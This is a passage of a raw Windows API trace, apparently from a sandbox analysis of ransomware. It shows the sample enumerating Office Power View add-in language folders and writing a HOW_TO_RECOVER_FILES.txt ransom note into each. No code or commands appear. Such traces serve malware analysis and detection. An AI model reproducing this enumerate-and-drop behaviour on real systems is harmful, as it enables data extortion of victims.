lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.349] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0224.349] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0224.349] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0224.349] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0224.350] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ab259c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ad884b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e046, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ms.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0224.350] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ab259c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ad884b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e046, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ms.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0224.350] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0224.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.351] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0224.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0224.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ms\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0224.352] GetFileType (hFile=0x630) returned 0x1 [0224.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0224.352] GetFileType (hFile=0x630) returned 0x1 [0224.353] WriteFile (in: hFile=0x630, lpBuffer=0x3662958*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3662958*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0224.354] CloseHandle (hObject=0x630) returned 1 [0224.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.354] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl", lpFilePart=0x0) returned 0x51 [0224.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0224.355] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.355] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc46b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0224.355] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0224.356] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0224.356] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1920897, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0224.356] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15a3fea8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f5cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.nl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0224.356] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0224.356] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0224.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.357] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl", lpFilePart=0x0) returned 0x51 [0224.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0224.358] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.358] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc46b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0224.358] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0224.358] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0224.358] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1920897, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0224.359] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15a3fea8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f5cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.nl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0224.359] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15a3fea8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f5cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.nl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0224.359] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0224.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.360] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0224.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0224.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0224.361] GetFileType (hFile=0x630) returned 0x1 [0224.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0224.361] GetFileType (hFile=0x630) returned 0x1 [0224.362] WriteFile (in: hFile=0x630, lpBuffer=0x3676128*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3676128*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0224.363] CloseHandle (hObject=0x630) returned 1 [0224.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.363] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no", lpFilePart=0x0) returned 0x51 [0224.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0226.319] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.319] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b9737d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.319] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf458770a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.320] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.339] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.339] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b71118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e5d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.no.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.339] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.339] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0226.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no", lpFilePart=0x0) returned 0x51 [0226.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0226.341] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.341] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b9737d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.341] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf458770a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.341] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, 